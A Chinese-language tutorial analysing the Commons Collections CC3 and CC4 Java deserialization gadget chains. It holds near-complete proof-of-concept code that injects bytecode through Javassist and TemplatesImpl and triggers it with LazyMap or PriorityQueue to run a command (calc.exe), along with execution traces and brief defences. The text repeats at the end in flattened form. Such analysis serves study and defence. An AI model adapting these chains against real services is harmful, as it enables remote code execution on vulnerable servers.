通俗易懂的Java Commons Collections 3、4分析
字数 1407 2025-08-03 16:50:12

Java Commons Collections 3/4 反序列化漏洞分析

前言

本文详细分析Apache Commons Collections 3.1和4.0版本中的反序列化漏洞利用链(CC3和CC4)。CC3是CC1和CC2的结合,而CC4则是CC2和CC3的结合。理解这些漏洞需要对Java反序列化机制和Commons Collections库有深入了解。

环境搭建

CC3环境

  • JDK 1.7
  • Commons Collections 3.1
  • Javassist 3.24.1-GA

pom.xml依赖:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.24.1-GA</version>
    </dependency>
</dependencies>

CC4环境

  • JDK 1.7
  • Commons Collections 4.0
  • Javassist 3.25.0-GA

pom.xml依赖:

<dependencies>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.25.0-GA</version>
        <scope>compile</scope>
    </dependency>
</dependencies>

关键类介绍

TrAXFilter类

  • 位于com.sun.org.apache.xalan.internal.xsltc.trax
  • 构造方法中调用了传入参数的newTransformer()方法
  • 可以用于命令执行,参数可控

InstantiateTransformer类

  • 实现了TransformerSerializable接口
  • transform()方法中判断input参数是否为Class
  • 如果是Class,则通过反射实例化对象并返回

CC3利用链分析

完整利用链

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

POC关键代码解析

  1. 使用Javassist创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
  1. 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
  1. 构造Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
  1. 构造LazyMap和代理
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innermap, transformerChain);

Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler1);
InvocationHandler handler2 = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

执行流程分析

  1. 反序列化时触发AnnotationInvocationHandler.readObject()
  2. 调用代理Map的entrySet()方法
  3. 进入AnnotationInvocationHandler.invoke()
  4. 调用LazyMap.get()
  5. 触发ChainedTransformer.transform()
  6. 第一轮:ConstantTransformer返回TrAXFilter
  7. 第二轮:InstantiateTransformer实例化TrAXFilter
  8. TrAXFilter构造方法调用templates.newTransformer()
  9. 最终执行恶意字节码中的命令

CC4利用链分析

完整利用链

ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

POC关键代码解析

  1. 创建恶意类(同CC3)

  2. 设置TemplatesImpl(同CC3)

  3. 构造Transformer链(同CC3)

  4. 设置PriorityQueue

TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates, 1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue, queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue, 2);

Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue, Tcomparator);

执行流程分析

  1. 反序列化时触发PriorityQueue.readObject()
  2. 调用heapify()
  3. 进入siftDown()siftDownUsingComparator()
  4. 调用TransformingComparator.compare()
  5. 触发ChainedTransformer.transform()
  6. 后续流程与CC3相同

防御措施

  1. 升级Commons Collections到安全版本
  2. 使用Java反序列化过滤器
  3. 避免反序列化不可信数据

总结

CC3和CC4利用链展示了Java反序列化漏洞的复杂性,通过组合不同的类和方法实现远程代码执行。理解这些漏洞需要对Java反射、动态代理、类加载机制等有深入认识。在实际开发中,应当严格避免反序列化不可信数据,并及时更新依赖库。

Java Commons Collections 3/4 反序列化漏洞分析 前言 本文详细分析Apache Commons Collections 3.1和4.0版本中的反序列化漏洞利用链(CC3和CC4)。CC3是CC1和CC2的结合,而CC4则是CC2和CC3的结合。理解这些漏洞需要对Java反序列化机制和Commons Collections库有深入了解。 环境搭建 CC3环境 JDK 1.7 Commons Collections 3.1 Javassist 3.24.1-GA pom.xml依赖: CC4环境 JDK 1.7 Commons Collections 4.0 Javassist 3.25.0-GA pom.xml依赖: 关键类介绍 TrAXFilter类 位于 com.sun.org.apache.xalan.internal.xsltc.trax 包 构造方法中调用了传入参数的 newTransformer() 方法 可以用于命令执行,参数可控 InstantiateTransformer类 实现了 Transformer 和 Serializable 接口 transform() 方法中判断input参数是否为Class 如果是Class,则通过反射实例化对象并返回 CC3利用链分析 完整利用链 POC关键代码解析 使用Javassist创建恶意类 设置TemplatesImpl 构造Transformer链 构造LazyMap和代理 执行流程分析 反序列化时触发 AnnotationInvocationHandler.readObject() 调用代理Map的 entrySet() 方法 进入 AnnotationInvocationHandler.invoke() 调用 LazyMap.get() 触发 ChainedTransformer.transform() 第一轮: ConstantTransformer 返回 TrAXFilter 类 第二轮: InstantiateTransformer 实例化 TrAXFilter TrAXFilter 构造方法调用 templates.newTransformer() 最终执行恶意字节码中的命令 CC4利用链分析 完整利用链 POC关键代码解析 创建恶意类 (同CC3) 设置TemplatesImpl (同CC3) 构造Transformer链 (同CC3) 设置PriorityQueue 执行流程分析 反序列化时触发 PriorityQueue.readObject() 调用 heapify() 进入 siftDown() 和 siftDownUsingComparator() 调用 TransformingComparator.compare() 触发 ChainedTransformer.transform() 后续流程与CC3相同 防御措施 升级Commons Collections到安全版本 使用Java反序列化过滤器 避免反序列化不可信数据 总结 CC3和CC4利用链展示了Java反序列化漏洞的复杂性,通过组合不同的类和方法实现远程代码执行。理解这些漏洞需要对Java反射、动态代理、类加载机制等有深入认识。在实际开发中,应当严格避免反序列化不可信数据,并及时更新依赖库。